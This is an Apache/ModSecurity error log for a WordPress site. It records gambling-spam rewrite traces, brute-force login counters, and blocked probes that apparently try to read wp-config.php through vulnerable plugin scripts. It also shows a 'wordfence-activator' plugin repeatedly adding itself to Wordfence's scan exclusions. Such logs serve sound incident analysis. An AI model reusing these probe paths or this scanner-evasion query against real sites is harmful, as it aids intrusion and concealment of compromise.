[Mon Nov 10 18:45:24.996619 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996629 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996639 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996659 2025] [rewrite:trace5] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] setting env variable 'HTTP_AUTHORIZATION' to '', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996669 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996680 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996691 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996701 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996717 2025] [rewrite:trace4] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx' pattern='!-f' => matched, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996737 2025] [rewrite:trace4] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx' pattern='!-d' => matched, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996751 2025] [rewrite:trace2] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] rewrite '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx' -> '/index.php', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996765 2025] [rewrite:trace2] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] setting lastsub to rule with output /index.php, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996774 2025] [rewrite:trace2] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] trying to replace prefix /home/vetstars/public_html/ with /, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996784 2025] [rewrite:trace2] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] trying to replace context docroot /home/vetstars/public_html with context prefix , referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996793 2025] [rewrite:trace1] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] internal redirect with /index.php [INTERNAL REDIRECT], referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 21:21:16.354579 2025] [:error] [pid 31136:tid 31145] [client 18.118.108.129:53526] [client 18.118.108.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.118.108.129, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRHmzPtvd8w_jsstCaifFAAAAMQ"]
[Mon Nov 10 22:16:10.887441 2025] [proxy_fcgi:error] [pid 34820:tid 34824] [client 114.119.138.32:33731] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2253:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/pgslot%20login.aspx
[Mon Nov 10 22:42:31.247001 2025] [:error] [pid 31031:tid 31117] [client 37.230.116.109:51836] [client 37.230.116.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.230.116.109, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRH513I8L5KZTd8nCaaf3AAAAI4"]
[Tue Nov 11 00:29:31.127381 2025] [proxy_fcgi:error] [pid 41978:tid 42008] [client 54.225.148.123:54953] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')'
[Tue Nov 11 01:12:29.621392 2025] [proxy_fcgi:error] [pid 24225:tid 24245] [client 91.92.242.56:49951] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2286:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Tue Nov 11 01:13:24.586356 2025] [authz_core:error] [pid 41839:tid 41929] [client 91.92.242.56:65308] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/really-simple-ssl/readme.txt
[Tue Nov 11 01:22:52.818756 2025] [:error] [pid 41839:tid 41921] [client 91.92.242.56:60855] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/wp-content/debug.log"] [unique_id "aRIfbDGxg5uCD9Nfh5XBFAAAAIc"]
[Tue Nov 11 01:25:40.775517 2025] [:error] [pid 41816:tid 41880] [client 91.92.242.56:58369] [client 91.92.242.56] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "18.117.220.211_bec5a1ca15e7bd5f87964e2a44ce97b8a3b46508"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/index.php"] [unique_id "aRIgAkQR8XSNQpgkeuQWaAAAABQ"]
[Tue Nov 11 01:29:26.267238 2025] [:error] [pid 24554:tid 24572] [client 147.182.243.3:47642] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.243.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRIg9hbgcg5JFvN-BGVvugAAAs4"]
[Tue Nov 11 01:51:16.079408 2025] [:error] [pid 14120:tid 14125] [client 91.92.242.56:58123] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/usc-e-shop/functions/content-log.php"] [unique_id "aRImFCT8OKKuPaCGMt0q1QAAAUM"]
[Tue Nov 11 01:56:21.214625 2025] [proxy_fcgi:error] [pid 31985:tid 32021] [client 91.92.242.56:64419] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')'
[Tue Nov 11 01:58:40.524101 2025] [:error] [pid 41825:tid 41895] [client 91.92.242.56:59482] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php"] [unique_id "aRIn0Ir5hkwmQG_pQgAbGwAAAEg"]
[Tue Nov 11 01:58:41.615581 2025] [:error] [pid 41816:tid 41884] [client 91.92.242.56:59857] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php"] [unique_id "aRIn0UQR8XSNQpgkeuQcFgAAABg"]
[Tue Nov 11 01:58:42.679881 2025] [:error] [pid 41978:tid 42000] [client 91.92.242.56:57182] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "aRIn0pTXUiwDnS4PcJ9N_wAAAMY"]
[Tue Nov 11 01:58:43.798202 2025] [:error] [pid 24103:tid 24106] [client 91.92.242.56:59056] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIn07mrGVWhZHx4njJD-gAAAgA"]
[Tue Nov 11 01:58:44.861245 2025] [:error] [pid 41825:tid 41908] [client 91.92.242.56:63758] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php"] [unique_id "aRIn1Ir5hkwmQG_pQgAbIwAAAFU"]
[Tue Nov 11 01:58:45.967920 2025] [:error] [pid 41825:tid 41902] [client 91.92.242.56:52345] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIn1Yr5hkwmQG_pQgAbLAAAAE8"]
[Tue Nov 11 01:58:47.054520 2025] [:error] [pid 24817:tid 24822] [client 91.92.242.56:52276] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIn1-Bo1Juuc7yq76DVsQAAAwM"]
[Tue Nov 11 01:58:48.121721 2025] [:error] [pid 24817:tid 24819] [client 91.92.242.56:64069] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/mapsvg/gm_download.php"] [unique_id "aRIn2OBo1Juuc7yq76DVwwAAAwA"]
[Tue Nov 11 01:58:49.195413 2025] [:error] [pid 41816:tid 41866] [client 91.92.242.56:59861] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/mapsvg-lite-interactive-vector-maps/gm_download.php"] [unique_id "aRIn2UQR8XSNQpgkeuQcHQAAAAY"]
[Tue Nov 11 01:58:59.985606 2025] [proxy_fcgi:error] [pid 24554:tid 24563] [client 91.92.242.56:59565] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2287:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Tue Nov 11 02:01:30.783073 2025] [proxy_fcgi:error] [pid 31985:tid 32034] [client 103.4.122.14:55532] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_wfhits` (`attackLogTime`, `ctime`, `IP`, `UA`, `isGoogle`, `URL`, `jsRun`, `action`, `actionDescription`, `actionData`, `statusCode`) VALUES ('1762797680.392581', '1762797678.5731', '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\xff\xff[\\\\\xf28', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36', '', 'https://vetstars.com.au/wp-content/plugins/ulisting/readme.txt', '0', 'logged:waf', 'Readme.txt and debug.log scans', '{\\"learningMode\\":0,\\"failedRules\\":\\"logged|500\\",\\"paramKey\\":\\"cmVxdWVzdC51cmk=\\",\\"paramValue\\":\\"L3dwLWNvbnRlbnQvcGx1Z2lucy91bGlzdGluZy9yZWFkbWUudHh0\\",\\"path\\":\\"L3dwLWNvbnRlbnQvcGx1Z2lucy91bGlzdGluZy9yZWFkbWUudHh0\\",\\"category\\":\\"discovery-and-probing\\",\\"ssl\\":1,\\"fullRequest\\":\\"R0VUIC93cC1jb250ZW50L3BsdWdpbnMvdWxpc3RpbmcvcmVhZG1lLnR4dCBIVFRQLzEuMQpQcmlvcml0eTogdT0wLCBpCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjkKQWNjZXB0LU...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_wfhits` (`attackLogTime`, `ctime`, `IP`, `UA`, `isGoogle`, `URL`, `jsRun`, `action`, `actionDescription`, `actionData`, `statusCode`) VALUES ('1762797680.392019', '1762797678.5731', '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\xff\xff[\\\\\xf28', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36', '', 'https://vetstars.com.au/wp-content/plugins/ulisting/readme.txt', '0', 'logged:waf', 'Readme.txt and debug.log scans', '{\\"learningMode\\":0,\\"failedRules\\":\\"logged|500\\",\\"paramKey\\":\\"cmVxdWVzdC5wYXRo\\",\\"paramValue\\":\\"L3dwLWNvbnRlbnQvcGx1Z2lucy91bGlzdGluZy9yZWFkbWUudHh0\\",\\"path\\":\\"L3dwLWNvbnRlbnQvcGx1Z2lucy91bGlzdGluZy9yZWFkbWUudHh0\\",\\"category\\":\\"discovery-and-probing\\",\\"ssl\\":1,\\"fullRequest\\":\\"R0VUIC93cC1jb250ZW50L3BsdWdpbnMvdWxpc3RpbmcvcmVhZG1lLnR4dCBIVFRQLzEuMQpQcmlvcml0eTogdT0wLCBpCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjkKQWNjZXB0LU...'
[Tue Nov 11 02:01:34.803416 2025] [proxy_fcgi:error] [pid 14120:tid 14129] [client 91.92.242.56:50041] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')'
[Tue Nov 11 02:48:59.294710 2025] [:error] [pid 24103:tid 24107] [client 178.62.226.48:54536] [client 178.62.226.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.226.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRIzm7mrGVWhZHx4njJKNwAAAgE"]
[Tue Nov 11 03:00:48.279468 2025] [autoindex:error] [pid 41978:tid 42009] [client 196.251.85.129:53356] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 11 04:06:57.380515 2025] [:error] [pid 43437:tid 43518] [client 138.201.49.26:50634] [client 138.201.49.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.201.49.26, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRJF4QLPT6kbVOb_pwt-SAAAAJc"]
[Tue Nov 11 04:10:29.781792 2025] [proxy_fcgi:error] [pid 43437:tid 43498] [client 78.46.190.63:3964] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/
[Tue Nov 11 04:21:53.119006 2025] [:error] [pid 43435:tid 43453] [client 162.0.229.109:54174] [client 162.0.229.109] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aRJJYWeCenDmgzLwDULLIgAAAA0"]
